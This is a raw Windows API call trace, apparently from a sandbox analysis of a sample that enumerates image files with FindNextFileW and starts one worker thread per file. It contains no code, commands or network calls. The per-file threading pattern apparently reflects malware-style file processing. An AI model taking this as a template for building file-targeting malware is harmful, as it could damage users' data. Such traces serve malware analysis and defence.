	[0239.216] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1
	[0239.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1994
	[0239.217] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.218] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1
	[0239.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1998
	[0239.220] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.221] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1
	[0239.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c
	[0239.223] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.224] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1
	[0239.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a0
	[0239.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1
	[0239.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a4
	[0239.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.229] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1
	[0239.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a8
	[0239.231] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.232] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1
	[0239.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac
	[0239.241] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.242] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1
	[0239.242] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b0
	[0239.245] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.245] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1
	[0239.245] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b4
	[0239.247] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.248] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1
	[0239.248] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8
	[0239.310] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.311] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1
	[0239.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc
	[0239.313] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.324] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1
	[0239.324] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c0
	[0239.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.328] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1
	[0239.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4
	[0239.330] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.331] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1
	[0239.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8
	[0239.333] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.334] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1
	[0239.334] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc
	[0239.336] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.337] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1
	[0239.337] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0
	[0239.339] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.339] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1
	[0239.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4
	[0239.342] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.342] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1
	[0239.342] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d8
	[0239.345] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.345] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1
	[0239.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19dc
	[0239.347] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.348] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1
	[0239.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0
	[0239.350] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.350] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1
	[0239.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4
	[0239.353] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.353] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1
	[0239.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8
	[0239.382] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.382] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1
	[0239.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec
	[0239.385] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.385] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1
	[0239.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f0
	[0239.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.388] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1
	[0239.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4
	[0239.390] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.391] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1
	[0239.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8
	[0239.393] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.394] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1
	[0239.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19fc
	[0239.396] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
